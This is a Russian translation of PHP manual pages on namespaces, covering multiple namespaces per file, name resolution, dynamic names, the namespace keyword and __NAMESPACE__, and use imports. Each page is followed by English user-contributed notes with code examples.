Несколько пространств имён также можно описать в одном файле с помощью двух допустимых синтаксических конструкций.

Пример #1 Описание нескольких пространств имён, простой синтаксис

<?php
namespace MyProject;

const CONNECT_OK = 1;
class Connection { /* ... */ }
function connect() { /* ... */ }

namespace AnotherProject;

const CONNECT_OK = 1;
class Connection { /* ... */ }
function connect() { /* ... */ }
?>

Данный синтаксис не рекомендуется для комбинирования пространств имён в одном файле. Вместо этого рекомендуется использовать альтернативный синтаксис со скобками.

Пример #2 Описание нескольких пространств имён, синтаксис со скобками

<?php
namespace MyProject {

const CONNECT_OK = 1;
class Connection { /* ... */ }
function connect() { /* ... */ }
}

namespace AnotherProject {

const CONNECT_OK = 1;
class Connection { /* ... */ }
function connect() { /* ... */ }
}
?>

Настоятельно не рекомендуется при программировании комбинировать несколько пространств имён в один файл. Основным применением этому может быть объединение нескольких PHP-файлов в один файл.

Для объединения кода в глобальном пространстве имён с кодом в других пространствах имён, используется только синтаксис со скобками. Глобальный код должен быть помещён в конструкцию описания пространства имён без указания имени:

Пример #3 Описание глобального и обычного пространства имён в одном файле

<?php
namespace MyProject {

const CONNECT_OK = 1;
class Connection { /* ... */ }
function connect() { /* ... */ }
}

namespace { // глобальный код
session_start();
$a = MyProject\connect();
echo MyProject\Connection::start();
}
?>

PHP-код не может находиться вне скобок конструкции пространства имён, кроме начального выражения declare.

Пример #4 Описание глобального и обычного пространства имён в одном файле

<?php
declare(encoding='UTF-8');
namespace MyProject {

const CONNECT_OK = 1;
class Connection { /* ... */ }
function connect() { /* ... */ }
}

namespace { // глобальный код
session_start();
$a = MyProject\connect();
echo MyProject\Connection::start();
}
?>

User Contributed Notes

dauser at daexample dot com 14-Jun-2017 11:18
There are rational examples of where the ability to blend multiple namespaces into a single file is not only desirable but also absolutely necessary.  An example of where this ability is useful is over in the very popular phpseclib library where they are PSR-4 compliant but, in order to be compliant, they have to read a directory of files to know what classes are available so that the autoloader can load the correct files.  If they, instead, just bundled the defaults into one file using this mechanism already supported by PHP core, there would be no need to do extraneous scanning of the file system.

That's just one legitimate use-case where strict compliance with PSRs gets in the way of good software development.
dominic_mayers at yahoo dot com 24-Sep-2016 02:33
If you have the habit to always use the closing PHP tag "?>" in your test files, remember that with the bracketed syntax code outside the brackets, including new lines outside the PHP tags,  is not allowed.  In particular, even though PHP sees a new line after the closing tag  as a part of the line and eats it, some editors, such as  Gedit, Gvim, Vim and Nano in Ubuntu,  will  add yet another new line after this new line and this will create an error.
Ishan Fernando 25-Jun-2015 07:15
//call same named function using namespace

//food.php

<?php
namespace Food;

require ('Apple.php');
require('Orange.php');

use Apples;
use Oranges;

  Apples\eat();
  Oranges\eat();
 ?>

//Apple.php
<?php
namespace Apples;

function eat()
{
  echo "eat apple";
}
?>

//Orange.php
<?php
namespace Oranges;

function eat()
{
  echo "eat Orange";
}
?>
jigar dot vy at gmail dot com 24-Jun-2015 12:52
<?php

// You cannot mix bracketed namespace declarations with unbracketed namespace declarations - will result in a Fatal error

namespace a;

echo "I belong to namespace a";

namespace b {
    echo "I'm from namespace b";
}
Rahul Sonar 21-Feb-2015 09:43
<?php
//Namespace can be used in this way also
namespace MyProject {

function connect() { echo "ONE";  }
    Sub\Level\connect();
}

namespace MyProject\Sub {

function connect() { echo "TWO";  }
    Level\connect();
}

namespace MyProject\Sub\Level {

    function connect() { echo "THREE";  }
    \MyProject\Sub\Level\connect(); // OR we can use this as below
    connect();
}
leaksin [ at ] gmail [ dot ] com 30-Jul-2013 10:04
using of global namespaces and multiple namespaces in one PHP file increase the complexity and decrease readability of the code.
Let's try not use this scheme even it's very necessary (although there is not)


Использование пространства имён: основы

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

До обсуждения использования пространств имён важно понять, как PHP узнает, какие элементы из пространства имён запрашиваются в вашем коде. Можно провести аналогию между пространствами имён PHP и файловой системой. Есть три способа обратиться к файлу в файловой системе:

  1. Относительное имя файла, такое как foo.txt, преобразуемое в currentdirectory/foo.txt, где currentdirectory - текущая директория, в которой мы находимся. Тогда, если текущая директория /home/foo, то имя преобразуется в /home/foo/foo.txt.
  2. Относительное имя пути, такое как subdirectory/foo.txt, преобразуется в currentdirectory/subdirectory/foo.txt.
  3. Абсолютное имя пути, такое как /main/foo.txt, которое остаётся таким же: /main/foo.txt.
Тот же принцип применим и к элементам из пространств имён PHP. Например, имя класса может быть указано тремя способами:
  1. Неполные имена (имена классов без префикса), такие как $a = new foo(); или foo::staticmethod();. Если текущее пространство имён currentnamespace, то эти имена преобразуются в currentnamespace\foo. Если код находится в глобальном пространстве имён, то имена остаются такими же: foo. Предупреждение: неполные имена для функций и констант будут определяться в глобальном пространстве имён, если они не определены в текущем пространстве имён. Подробнее в Использование пространств имён: доступ к глобальным функциям и классам.
  2. Полные имена (имена классов с префиксами), такие как $a = new subnamespace\foo(); или subnamespace\foo::staticmethod();. Если текущее пространство имён currentnamespace, то эти имена преобразуются в currentnamespace\subnamespace\foo. Если код находится в глобальном пространстве имён, то имена преобразуются в subnamespace\foo.
  3. Абсолютные имена или имена с предшествующим префиксом, обозначающим глобальное пространство. $a = new \currentnamespace\foo(); или \currentnamespace\foo::staticmethod();. Имена всегда определяются так же, как и записаны: currentnamespace\foo.

Ниже приведён пример трёх вариантов синтаксиса в реальном коде:

file1.php

<?php
namespace Foo\Bar\subnamespace;

const FOO = 1;
function foo() {}
class foo
{
static function staticmethod() {}
}
?>

file2.php

<?php
namespace Foo\Bar;
include 'file1.php';

const FOO = 2;
function foo() {}
class foo
{
static function staticmethod() {}
}

/* Неполные имена */
foo(); // определяется как функция Foo\Bar\foo
foo::staticmethod(); // определяется как класс Foo\Bar\foo с методом staticmethod
echo FOO; // определяется как константа Foo\Bar\FOO

/* Полные имена */
subnamespace\foo(); // определяется как функция Foo\Bar\subnamespace\foo
subnamespace\foo::staticmethod(); // определяется как класс Foo\Bar\subnamespace\foo
// c методом staticmethod
echo subnamespace\FOO; // определяется как константа Foo\Bar\subnamespace\FOO

/* Абсолютные имена */
\Foo\Bar\foo(); // определяется как функция Foo\Bar\foo
\Foo\Bar\foo::staticmethod(); // определяется как класс Foo\Bar\foo с методом staticmethod
echo \Foo\Bar\FOO; // определяется как константа Foo\Bar\FOO
?>

Обратите внимание, что для доступа к любым глобальным классам, функциям или константам, может использоваться абсолютное имя, такое как \strlen(), или \Exception, или \INI_ALL.

Пример #1 Доступ к глобальным классам, функциям и константам из пространства имён

<?php
namespace Foo;

function strlen() {}
const INI_ALL = 3;
class Exception {}

$a = \strlen('hi'); // вызывает глобальную функцию strlen
$b = \INI_ALL; // получает доступ к глобальной константе INI_ALL
$c = new \Exception('error'); // Создаёт экземпляр глобального класса Exception
?>

User Contributed Notes

Anonymous 27-Oct-2014 01:08
<?php

namespace Foo;

try {
    // Something awful here
    // That will throw a new exception from SPL
}
catch (Exception as $ex) {
    // We will never get here
    // This is because we are catchin Foo\Exception
}
?>

Instead use fully qualified name for the exception to catch it

<?php

namespace Foo;

try {
    // something awful here
    // That will throw a new exception from SPL
}
catch (\Exception as $ex) {
    // Now we can get here at last
}
?>
tom at tomwardrop dot com 26-Feb-2012 10:06
It seems the file system analogy only goes so far. One thing that's missing that would be very useful is relative navigation up the namespace chain, e.g.

<?php
namespace MyProject {
   class Person {}
}

namespace MyProject\People {
    class Adult extends ..\Person {}
}
?>

That would be really nice, especially if you had really deep namespaces. It would save you having to type out the full namespace just to reference a resource one level up.
Lukas Z 05-Dec-2011 03:25
Well variables inside namespaces do not override others since variables are never affected by namespace but always global:
"Although any valid PHP code can be contained within a namespace, only four types of code are affected by namespaces: classes, interfaces, functions and constants. "

Source: "Defining Namespaces"
http://www.php.net/manual/en/language.namespaces.definition.php
philip dot preisser at arcor dot de 14-Jun-2011 02:34
Working with variables can overwrite equal variables in other namespaces

<?php // php5 - package-version : 5.3.5-1ubuntu7.2

    namespace
    main
    {}

    namespace
    main\sub1
    {
        $data = 1;
    }

    namespace
    main\sub2
    {
        echo $data;// 1
        $data = 2;
    }

    namespace
    main\sub1
    {
        echo $data;// 2
        $data = 1;
    }

    namespace
    {
        echo $data;// 1
    }

?>
richard at richard-sumilang dot com 27-Mar-2008 01:36
Syntax for extending classes in namespaces is still the same.

Lets call this Object.php:

<?php

namespace com\rsumilang\common;

class Object{
   // ... code ...
}

?>

And now lets create a class called String that extends object in String.php:

<?php

class String extends com\rsumilang\common\Object{
   // ... code ...
}

?>

Now if you class String was defined in the same namespace as Object then you don't have to specify a full namespace path:

<?php

namespace com\rsumilang\common;

class String extends Object
{
   // ... code ...
}

?>

Lastly, you can also alias a namespace name to use a shorter name for the class you are extending incase your class is in seperate namespace:

<?php

namespace com\rsumilang\util;
use com\rsumlang\common as Common;

class String extends Common\Object
{
   // ... code ...
}

?>

- Richard Sumilang


Пространства имён и динамические особенности языка

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

На реализацию пространств имён в PHP повлияли и динамические особенности языка. Преобразуем нижеследующий код для использования пространств имён:

Пример #1 Динамически доступные элементы

example1.php:

<?php
class classname
{
function __construct()
{
echo __METHOD__,"\n";
}
}
function funcname()
{
echo __FUNCTION__,"\n";
}
const constname = "global";

$a = 'classname';
$obj = new $a; // выводит classname::__construct
$b = 'funcname';
$b(); // выводит funcname
echo constant('constname'), "\n"; // выводит global
?>
Необходимо использовать абсолютное имя (имя класса с префиксом пространства имён). Обратите внимание, что нет никакой разницы между полным именем и абсолютным внутри динамического имени класса, функции или константы. Начальный обратный слеш не является необходимым.

Пример #2 Динамически доступные элементы пространства имён

<?php
namespace namespacename;
class classname
{
function __construct()
{
echo __METHOD__,"\n";
}
}
function funcname()
{
echo __FUNCTION__,"\n";
}
const constname = "namespaced";

include 'example1.php';

$a = 'classname';
$obj = new $a; // выводит classname::__construct
$b = 'funcname';
$b(); // выводит funcname
echo constant('constname'), "\n"; // выводит global

/* обратите внимание, что при использовании двойных кавычек символ обратного слеша должен быть заэкранирован. Например, "\\namespacename\\classname" */
$a = '\namespacename\classname';
$obj = new $a; // выводит namespacename\classname::__construct
$a = 'namespacename\classname';
$obj = new $a; // также выводит namespacename\classname::__construct
$b = 'namespacename\funcname';
$b(); // выводит namespacename\funcname
$b = '\namespacename\funcname';
$b(); // также выводит namespacename\funcname
echo constant('\namespacename\constname'), "\n"; // выводит namespaced
echo constant('namespacename\constname'), "\n"; // также выводит namespaced
?>

Обязательно прочитайте примечание об экранировании имён пространства имён в строках.

User Contributed Notes

anisgazig at gmail dot com 19-Nov-2021 05:12
<?php

//single or double quotes with single or double backslash in dynamic namespace class.

namespace Country_Name{
class Mexico{
function __construct(){
echo __METHOD__,"<br>";
}
}

$a = 'Country_Name\Mexico';//Country_Name\Mexico::__construct
$a = "Country_Name\Mexico";
//Country_Name\Mexico::__construct
$a = '\Country_Name\Mexico';
//Country_Name\Mexico::__construct
$a = "\Country_Name\Mexico";
//Country_Name\Mexico::__construct
$a = "\\Country_Name\\Mexico";
//Country_Name\Mexico::__construct
$o = new $a;

}

/* if your namespace name or class name start with lowercase n then you should be alart about the use of single or double quotes with backslash  */

namespace name_of_country{
class Japan{
function __construct()
{
    echo __METHOD__,"<br>";
}

}

$a = 'name_of_country\Japan';
//name_of_country\Japan::__construct
$a = "name_of_country\Japan";
//name_of_country\Japan::__construct
$a = '\name_of_country\Japan';
//name_of_country\Japan::__construct
//$a = "\name_of_country\Japan";
//Fatal error: Uncaught Error: Class ' ame_of_country\Japan' not found
//In this statement "\name_of_country\Japan" means -first letter n with "\ == new line("\n). for fix it we can use double back slash or single quotes with single backslash.
$a = "\\name_of_country\\Japan";
//name_of_country\Japan::__construct
$o = new $a;
}

namespace Country_Name{
class name{
function __construct(){
echo __METHOD__,"<br>";
}
}

$a = 'Country_Name\name';
//Country_Name\Norway::__construct
$a = "Country_Name\name";
//Country_Name\Norway::__construct
$a = '\Country_Name\name';
//Country_Name\Norway::__construct
//$a = "\Country_Name\name";
//Fatal error: Uncaught Error: Class '\Country_Name ame' not found

//In this statement "\Country_Name\name" at class name's first letter n with "\ == new line("\n). for fix it we can use double back slash or single quotes with single backslash
$a = "\\Country_Name\\name";
//Country_Name\name::__construct
$o = new $a;

}

//"\n == new line are case insensitive so "\N could not affected

 ?>
Daan 19-Sep-2019 08:56
Important to know is that you need to use the *fully qualified name* in a dynamic class name. Here is an example that emphasizes the difference between a dynamic class name and a normal class name.

<?php
namespace namespacename\foo;

class classname
{
    function __construct()
    {
        echo 'bar';
    }
}

$a = '\namespacename\foo\classname'; // Works, is fully qualified name
$b = 'namespacename\foo\classname'; // Works, is treated as it was with a prefixed "\"
$c = 'foo\classname'; // Will not work, it should be the fully qualified name

// Use dynamic class name
new $a; // bar
new $b; // bar
new $c; // [500]: / - Uncaught Error: Class 'foo\classname' not found in

// Use normal class name
new \namespacename\foo\classname; // bar
new namespacename\foo\classname; // [500]: / - Uncaught Error: Class 'namespacename\foo\namespacename\foo\classname' not found
new foo\classname; // [500]: / - Uncaught Error: Class 'namespacename\foo\foo\classname' not found
museyib dot e at gmail dot com 09-Mar-2019 04:48
Be careful when using dynamic accessing namespaced elements. If you use double-quote backslashes will be parsed as escape character.

<?php
    $a="\namespacename\classname"; //Invalid use and Fatal error.
    $a="\\namespacename\\classname"; //Valid use.
    $a='\namespacename\classname'; //Valid use.
?>
m dot mannes at gmail dot com 25-Feb-2017 06:36
Case you are trying call a static method that's the way to go:

<?php
class myClass
{
    public static function myMethod()
    {
      return "You did it!\n";
    }
}

$foo = "myClass";
$bar = "myMethod";

echo $foo::$bar(); // prints "You did it!";
?>
akhoondi+php at gmail dot com 09-Aug-2013 04:17
It might make it more clear if said this way:

One must note that when using a dynamic class name, function name or constant name, the "current namespace", as in http://www.php.net/manual/en/language.namespaces.basics.php is global namespace.

One situation that dynamic class names are used is in 'factory' pattern. Thus, add the desired namespace of your target class before the variable name.

namespaced.php
<?php
// namespaced.php
namespace Mypackage;
class Foo {
    public function factory($name, $global = FALSE)
    {
        if ($global)
            $class = $name;
        else
            $class = 'Mypackage\\' . $name;
        return new $class;
    }
}

class A {
    function __construct()
    {
        echo __METHOD__ . "<br />\n";
    }
}
class B {
    function __construct()
    {
        echo __METHOD__ . "<br />\n";
    }
}
?>

global.php
<?php
// global.php
class A {
    function __construct()
    {
        echo  __METHOD__;
    }
}
?>

index.php
<?php
//  index.php
namespace Mypackage;
include('namespaced.php');
include('global.php');

  $foo = new Foo();

  $a = $foo->factory('A');        // Mypackage\A::__construct
  $b = $foo->factory('B');        // Mypackage\B::__construct

  $a2 = $foo->factory('A',TRUE);    // A::__construct
  $b2 = $foo->factory('B',TRUE);    // Will produce : Fatal error: Class 'B' not found in ...namespaced.php on line ...
?>
Alexander Kirk 06-Jul-2011 12:57
When extending a class from another namespace that should instantiate a class from within the current namespace, you need to pass on the namespace.

<?php // File1.php
namespace foo;
class A {
    public function factory() {
        return new C;
    }
}
class C {
    public function tell() {
        echo "foo";
    }
}
?>

<?php // File2.php
namespace bar;
class B extends \foo\A {}
class C {
    public function tell() {
        echo "bar";
    }
}
?>

<?php
include "File1.php";
include "File2.php";
$b = new bar\B;
$c = $b->factory();
$c->tell(); // "foo" but you want "bar"
?>

You need to do it like this:

When extending a class from another namespace that should instantiate a class from within the current namespace, you need to pass on the namespace.

<?php // File1.php
namespace foo;
class A {
    protected $namespace = __NAMESPACE__;
    public function factory() {
        $c = $this->namespace . '\C';
        return new $c;
    }
}
class C {
    public function tell() {
        echo "foo";
    }
}
?>

<?php // File2.php
namespace bar;
class B extends \foo\A {
    protected $namespace = __NAMESPACE__;
}
class C {
    public function tell() {
        echo "bar";
    }
}
?>

<?php
include "File1.php";
include "File2.php";
$b = new bar\B;
$c = $b->factory();
$c->tell(); // "bar"
?>

(it seems that the namespace-backslashes are stripped from the source code in the preview, maybe it works in the main view. If not: fooA was written as \foo\A and barB as bar\B)
scott at intothewild dot ca 07-Aug-2009 03:33
as noted by guilhermeblanco at php dot net,

<?php

  // fact.php

  namespace foo;

  class fact {

    public function create($class) {
      return new $class();
    }
  }

?>

<?php

  // bar.php

  namespace foo;

  class bar {
  ...
  }

?>

<?php

  // index.php

  namespace foo;

  include('fact.php');

  $foofact = new fact();
  $bar = $foofact->create('bar'); // attempts to create \bar
                                  // even though foofact and
                                  // bar reside in \foo

?>
guilhermeblanco at php dot net 16-Jun-2009 12:04
Please be aware of FQCN (Full Qualified Class Name) point.
Many people will have troubles with this:

<?php

// File1.php
namespace foo;

class Bar { ... }

function factory($class) {
    return new $class;
}

// File2.php
$bar = \foo\factory('Bar'); // Will try to instantiate \Bar, not \foo\Bar

?>

To fix that, and also incorporate a 2 step namespace resolution, you can check for \ as first char of $class, and if not present, build manually the FQCN:

<?php

// File1.php
namespace foo;

function factory($class) {
    if ($class[0] != '\\') {
        echo '->';
         $class = '\\' . __NAMESPACE__ . '\\' . $class;
    }

    return new $class();
}

// File2.php
$bar = \foo\factory('Bar'); // Will correctly instantiate \foo\Bar

$bar2 = \foo\factory('\anotherfoo\Bar'); // Wil correctly instantiate \anotherfoo\Bar

?>


Ключевое слово namespace и константа __NAMESPACE__

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

PHP поддерживает два способа доступа к абстрактным элементам в текущем пространстве имён таким, как магическая константа __NAMESPACE__ и ключевое слово namespace.

Значение константы __NAMESPACE__ - это строка, которая содержит имя текущего пространства имён. В глобальном пространстве, вне пространства имён, она содержит пустую строку.

Пример #1 Пример использование константы __NAMESPACE__ в коде с пространством имён

<?php
namespace MyProject;

echo '"', __NAMESPACE__, '"'; // выводит "MyProject"
?>

Пример #2 Пример использование константы __NAMESPACE__ в глобальном пространстве

<?php

echo '"', __NAMESPACE__, '"'; // выводит ""
?>
Константа __NAMESPACE__ полезна для динамически конструируемых имён, например:

Пример #3 использование константы __NAMESPACE__ для динамического конструирования имени

<?php
namespace MyProject;

function get($classname)
{
$a = __NAMESPACE__ . '\\' . $classname;
return new $a;
}
?>

Ключевое слово namespace может быть использовано для явного запроса элемента из текущего пространства имён или из подпространства. Это эквивалент оператора self для классов в пространстве имён.

Пример #4 Оператор namespace, внутри пространства имён

<?php
namespace MyProject;

use blah\blah as mine; // смотрите "Использование пространств имён: импорт/создание псевдонима имени"

blah\mine(); // вызывает функцию MyProject\blah\mine()
namespace\blah\mine(); // вызывает функцию MyProject\blah\mine()

namespace\func(); // вызывает функцию MyProject\func()
namespace\sub\func(); // вызывает функцию MyProject\sub\func()
namespace\cname::method(); // вызывает статический метод "method" класса MyProject\cname
$a = new namespace\sub\cname(); // Создаёт экземпляр класса MyProject\sub\cname
$b = namespace\CONSTANT; // присваивает значение константы MyProject\CONSTANT переменной $b
?>

Пример #5 Оператор namespace в глобальном коде

<?php

namespace\func(); // вызывает функцию func()
namespace\sub\func(); // вызывает функцию sub\func()
namespace\cname::method(); // вызывает статический метод "method" класса cname
$a = new namespace\sub\cname(); // Создаёт экземпляр класса sub\cname
$b = namespace\CONSTANT; // присваивает значение константы CONSTANT переменной $b
?>

User Contributed Notes

bharatthapa45 at gmail dot com 30-Mar-2022 08:37
Difference between __NAMESPACE__ and keyword 'namespace' that I find relevant is when invoking a class:

<?php
namespace MyApp;

class App {
    static function app(){
        echo 'hello app';
    }
}

// this will work:
$obj = new namespace\App::app();

// this will not work
$obj = new __NAMESPACE__\App::app();

// however this will work:
$obj = __NAMESPACE__ . '\App';
$obj::foo();

?>
cornichonche at gmail dot com 22-Feb-2018 12:30
The example 4 is wrong.
Using php 7.2

<?php
namespace monProjet;

use function blah\blah as mine;

blah\mine(); // Will NOT work
mine(); // Will work
?>
a dot schaffhirt at sedna-soft dot de 02-Feb-2010 06:24
Just in case you wonder what the practical use of the namespace keyword is...

It can explicitly refer to classes from the current namespace regardless of possibly "use"d classes with the same name from other namespaces. However, this does not apply for functions.

Example:

<?php
namespace foo;
class Xyz {}
function abc () {}
?>

<?php
namespace bar;
class Xyz {}
function abc () {}
?>

<?php
namespace bar;
use foo\Xyz;
use foo\abc;
new Xyz(); // instantiates \foo\Xyz
new namespace\Xyz(); // instantiates \bar\Xyz
abc(); // invokes \bar\abc regardless of the second use statement
\foo\abc(); // it has to be invoked using the fully qualified name
?>

Hope, this can save someone from some trouble.

Best regards.


Использование пространств имён: импорт/создание псевдонима имени

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

Возможность ссылаться на внешнее абсолютное имя по псевдониму или импортированию - это важная особенность пространств имён. Это похоже на возможность файловых систем unix создавать символические ссылки на файл или директорию.

PHP может создавать псевдонимы имени/импортировать константы, функции, классы, интерфейсы, трейты, перечисления и пространства имён.

Создание псевдонима имени выполняется с помощью оператора use. Вот пример, показывающий 5 типов импорта:

Пример #1 импорт/создание псевдонима имени с помощью оператора use

<?php
namespace foo;
use My\Full\Classname as Another;

// это тоже самое, что и использование My\Full\NSname as NSname
use My\Full\NSname;

// импортирование глобального класса
use ArrayObject;

// импортирование функции
use function My\Full\functionName;

// псевдоним функции
use function My\Full\functionName as func;

// импортирование константы
use const My\Full\CONSTANT;

$obj = new namespace\Another; // создаёт экземпляр класса foo\Another
$obj = new Another; // создаёт объект класса My\Full\Classname
NSname\subns\func(); // вызывает функцию My\Full\NSname\subns\func
$a = new ArrayObject(array(1)); // создаёт объект класса ArrayObject
// без выражения "use ArrayObject" мы создадим объект класса foo\ArrayObject
func(); // вызывает функцию My\Full\functionName
echo CONSTANT; // выводит содержимое константы My\Full\CONSTANT
?>
Обратите внимание, что для имён в пространстве имён (абсолютные имена, содержащие разделитель пространств имён, такие как Foo\Bar, в отличие от глобальных имён, которые его не содержат, такие как FooBar) нет необходимости в начальном обратном слеше (\) и его присутствие там не рекомендуется, так как импортируемые имена должны быть абсолютными и не обрабатываются относительно текущего пространства имён.

PHP дополнительно поддерживает удобное сокращение для задания нескольких операторов use в одной и той же строке

Пример #2 импорт/создание псевдонима имени с помощью оператора use, комбинирование нескольких операторов use

<?php
use My\Full\Classname as Another, My\Full\NSname;

$obj = new Another; // создаёт объект класса My\Full\Classname
NSname\subns\func(); // вызывает функцию My\Full\NSname\subns\func
?>

Импорт выполняется во время компиляции и поэтому не влияет на имена динамических классов, функций или констант.

Пример #3 Импорт и динамические имена

<?php
use My\Full\Classname as Another, My\Full\NSname;

$obj = new Another; // создаёт объект класса My\Full\Classname
$a = 'Another';
$obj = new $a; // создаёт объект класса Another
?>

В дополнение, импорт распространяется только на неполные и полные имена. Абсолютные имена не затрагиваются операцией импорта.

Пример #4 Импортирование и абсолютные имена

<?php
use My\Full\Classname as Another, My\Full\NSname;

$obj = new Another; // создаёт объект класса My\Full\Classname
$obj = new \Another; // создаёт объект класса Another
$obj = new Another\thing; // создаёт объект класса My\Full\Classname\thing
$obj = new \Another\thing; // создаёт объект класса Another\thing
?>

Обзор правил для импорта

Ключевое слово use должно быть указано в самом начале файла (в глобальной области) или внутри объявления пространства имён. Это необходимо потому, что импорт выполняется во время компиляции, а не во время исполнения, поэтому оно не может быть заключено в блок. Следующий пример показывает недопустимое применение ключевого слова use:

Пример #5 Недопустимое правило импорта

<?php
namespace Languages;

function toGreenlandic()
{
use Languages\Danish;

//...
}
?>

Замечание:

Правила импорта задаются на каждый файл отдельно. Это означает, что присоединяемые файлы НЕ будут наследовать правила импорта из родительского файла.

Описание группирования в одном операторе use

Классы, функции и константы, импортируемые из одного и того же namespace, могут группироваться в одном операторе use.

<?php

use some\namespace\ClassA;
use some\namespace\ClassB;
use some\namespace\ClassC as C;

use function some\namespace\fn_a;
use function some\namespace\fn_b;
use function some\namespace\fn_c;

use const some\namespace\ConstA;
use const some\namespace\ConstB;
use const some\namespace\ConstC;

// Эквивалентно следующему групповому использованию
use some\namespace\{ClassA, ClassB, ClassC as C};
use function some\namespace\{fn_a, fn_b, fn_c};
use const some\namespace\{ConstA, ConstB, ConstC};

User Contributed Notes

tuxedobob 27-May-2022 04:32
Note that because this is processed at compile time, this doesn't work when running PHP in interactive mode. use commands won't throw an error, but they won't do anything, either.
eithed at google mail 14-Mar-2021 05:14
Bear in mind that it's perfectly fine to alias namespaces, ie:

<?php
use A\B\C\D\E\User;

new User();
?>

can be also written as:

<?php
use A\B\C\D\E as ENamespace;

new ENamespace\User();
?>

however following will not work:

<?php
use A\B\C\D\E as ENamespace;
use ENamespace\User;

new User();
?>

> PHP Error:  Class "ENamespace\User" not found
info at ensostudio dot ru 05-Sep-2020 10:48
Note: you can import not existed items without errors:
<?php
use UndefinedClass;
use function undefined_fn;
use const UNDEFINED_CONST;
?>
but you cant use/call they:
<?php
$new UndefinedClass; // Error: Use of undefined class
use function undefined_fn; // Error: Use of undefined function
use const UNDEFINED_CONST; // Error: Use of undefined constant
?>
Dhairya Lakhera 27-Jul-2019 01:41
namespace test{

    use test\xyz\tikku;
    use test\xyz\tikku as class_alias;
    use function test\xyz\tikku\foo;
    use function test\xyz\tikku\foo as func_alias;
    use const test\xyz\tikku\ABC;
    use const test\xyz\tikku\ABC as const_alias;

    $obj=new tikku;
    $obj->Display();  // I am in  test\xyz namespace

    $obj=new tikku\dhairya;
    $obj->Display();   // I am in test\xyz\tikku namespace

    $obj=new class_alias\dhairya;
    $obj->Display();   // I am in test\xyz\tikku namespace

    $obj=new \class_alias\dhairya;
    $obj->Display();  // I am in class_alias namespace

}

namespace test\xyz{

   class tikku{
    function Display(){
        echo "I am in ".__namespace__." namespace<br/><hr/>";
    }
   }
}

namespace test\xyz\tikku{

   class dhairya{
    function Display(){
        echo "I am in ".__namespace__." namespace<br/><hr/>";
    }
   }
}

namespace class_alias{

   class dhairya{
    function Display(){
        echo "I am in ".__namespace__." namespace<br/><hr/>";
    }
   }
}
www.codewars.com 07-Jun-2019 01:59
amazing!!

use function strval as numberToString;

var_dump(numberToString(123));

//print
//string(3) "123"
Joey 29-Mar-2018 02:25
For those hoping for an easy fix of DRY with {} unfortunately you can't nest it or do anything cool with it. In case you can only have one per use and if you don't have one then the whole use is assumed to be wrapped in brackets. That means if you do have one you can't use , as normal with use!

Not possible:

    use A\B\C\{
            D, E,
            F\{X, Y, Z}
        },
        X\Y\Z,
        H\{
            I\{
                Y\Y\Y\Y\Y,
                Z, H, E
            },
            J\{
                A\{
                    G\H\J
                    B\N
                },
                G\H\J
            }
        };
Mawia HL 21-Oct-2017 05:03
Here is a handy way of importing classes, functions and conts using a single use keyword:

<?php
use Mizo\Web\ {
   Php\WebSite,
   Php\KeyWord,
   Php\UnicodePrint,
   JS\JavaScript,
   function JS\printTotal,
   function JS\printList,
   const JS\BUAIKUM,
   const JS\MAUTAM
};
?>
xzero at elite7hackers dot net 04-May-2017 11:13
I couldn't find answer to this question so I tested myself.
I think it's worth noting:

<?php
use ExistingNamespace\NonExsistingClass;
use ExistingNamespace\NonExsistingClass as whatever;
use NonExistingNamespace\NonExsistingClass;
use NonExistingNamespace\NonExsistingClass as whatever;
?>

None of above will actually cause errors unless you actually try to use class you tried to import.

<?php
// And this code will issue standard PHP error for non existing class.
use ExistingNamespace\NonExsistingClass as whatever;
$whatever = new whatever();
?>
ZhangLiang 15-Feb-2017 06:16
In Chinese,there is an error in translation:
// ????? "use \ArrayObject" ,?????? foo\ArrayObject ??
it should be
// ????? "use ArrayObject" ,?????? foo\ArrayObject ??

/*********************************************/
????????
// ????? "use \ArrayObject" ,?????? foo\ArrayObject ??
??????
// ????? "use ArrayObject" ,?????? foo\ArrayObject ??
ultimater at gmail dot com 30-Sep-2016 10:53
Note that "use" importing/aliasing only applies to the current namespace block.

<?php

namespace SuperCoolLibrary
{
    class Meta
    {
        static public function getVersion()
        {
            return '2.7.1';
        }
    }
}

namespace
{
    use SuperCoolLibrary\Meta;
    echo Meta::getVersion();//outputs 2.7.1
}

namespace
{
    echo Meta::getVersion();//fatal error
}

?>

To get the expected behavior, you'd use:
class_alias('SuperCoolLibrary\Meta','Meta');
dominic_mayers at yahoo dot com 20-Sep-2016 11:18
To clarify the distinction between inserting a trait in a class and importing a trait in a namespace, here is an example where we first import and then insert a trait.

<?php
namespace ns1;
trait T {
  static $a = "In T";
}

namespace ns2;
use ns1\T; // Importing the name of trait ns1\T  in the namespace ns2
class C {
  use T; // Inserting trait T in the class C, making use of the imported name.
}

namespace main;
use ns2\C;
echo C::$a; // In T;
dominic_mayers at yahoo dot com 20-Sep-2016 10:50
The keyword "use" has been recycled for three distinct applications:
1- to import/alias classes, traits, constants, etc. in namespaces,
2- to insert traits in classes,
3- to inherit variables in closures.
This page is only about the first application: importing/aliasing. Traits can be inserted in classes, but this is different from importing a trait in a namespace, which cannot be done in a block scope, as pointed out in example 5. This can be confusing, especially since all searches for the keyword "use" are directed to the documentation here on importing/aliasing.
me at ruslanbes dot com 31-Mar-2016 07:34
Note the code `use ns1\c1` may refer to importing class `c1` from namespace `ns1` as well as importing whole namespace `ns1\c1` or even import both of them in one line. Example:

<?php
namespace ns1;

class c1{}

namespace ns1\c1;

class c11{}

namespace main;

use ns1\c1;

$c1 = new c1();
$c11 = new c1\c11();

var_dump($c1); // object(ns1\c1)#1 (0) { }
var_dump($c11); // object(ns1\c1\c11)#2 (0) { }
kelerest123 at gmail dot com 10-Mar-2015 05:50
For the fifth example (example #5):

When in block scope, it is not an illegal use of use keyword, because it is used for sharing things with traits.
anon 30-Jan-2014 09:08
The <?php use ?> statement does not load the class file. You have to do this with the <?php require ?> statement or by using an autoload function.
k at webnfo dot com 07-Apr-2013 01:32
Note that you can not alias global namespace:

use \ as test;

echo test\strlen('');

won't work.
Anonymous 03-Apr-2013 10:02
The last example on this page shows a possibly incorrect attempt of aliasing, but it is totally correct to import a trait \Languages\Languages\Danish.
cl 11-Mar-2013 12:59
